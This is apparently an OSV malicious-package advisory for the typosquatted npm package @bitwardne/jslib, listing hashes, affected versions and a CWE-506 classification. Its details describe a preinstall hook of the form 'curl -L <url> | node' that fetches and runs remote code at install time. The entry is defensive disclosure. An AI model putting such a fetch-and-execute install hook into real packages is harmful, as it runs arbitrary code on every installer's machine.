MAL-2026-17694

See a problem?
Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/@bitwardne/jslib/MAL-2026-17694.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-17694
Published
2026-10-08T16:53:48Z
Modified
2026-10-08T17:25:14Z
Summary
Malicious code in @bitwardne/jslib (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (030f216bf15ed7a6a7cde4ad43606804f1eaad03723f3f40844260d9e8ccf39d)

Package @bitwardne/jslib is a one-character typosquat of the @bitwarden scope. Its package.json declares a preinstall lifecycle script of the form curl -L <url> | node, which fetches a remote payload and pipes it directly into the Node interpreter on the installer's host at npm install time. The URL in this tarball is empty, but the construction is unambiguous remote-code-execution scaffolding — any value placed at that URL would be executed on every installer with no verification, no pinning, and no integrity check. The shipped index.js is a 4-line stub that only re-requires four unrelated utilities, so the manifest's preinstall is the entire functional surface of the package.

Database specific 
{
    "malicious-packages-origins":  [
        {
            "id":  "IN-MAL-2026-021213",
            "import_time":  "2026-10-08T17:17:19.317410693Z",
            "modified_time":  "2026-10-08T16:53:48Z",
            "sha256":  "030f216bf15ed7a6a7cde4ad43606804f1eaad03723f3f40844260d9e8ccf39d",
            "source":  "amazon-inspector",
            "versions":  [
                "1.1.0"
            ]
        }
    ]
}
References
Credits

Affected packages

npm / @bitwardne/jslib

Package

Name
@bitwardne/jslib
View open source insights on deps.dev
Purl
pkg:npm/%40bitwardne/jslib

Affected ranges

Affected versions

1.*
1.1.0

Database specific

cwes 
[
    {
        "cweId":  "CWE-506",
        "description":  "The product contains code that appears to be malicious in nature.",
        "name":  "Embedded Malicious Code"
    }
]
indicators 
{
    "evidence_files":  [
        {
            "path":  "package.json",
            "sha256":  "97b2d80b82e242feb26e10242bdf44fbd0e68d91d9db5f356541fb49770289bb",
            "tlsh":  "1d11ab60ce309cb319c511e0b869505a7a118c2b8c04bc0c37d70a5c8b0f47b19fe74c"
        }
    ],
    "package_integrity":  [
        {
            "filename":  "jslib-1.1.0.tgz",
            "hashes":  {
                "sha1":  "5514602da5a0692d1e44a8db749955682c668ccf",
                "sha512_sri":  "sha512-bKtulAXn3vpYZWYfpOJmhJtl7lOhjFDVIAsqSFOoBseWaX7qbOxVzqexMU7I4bwKkoGL9y6h77yDLFBnizZ8iA=="
            }
        }
    ]
}
source 
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/@bitwardne/jslib/MAL-2026-17694.json"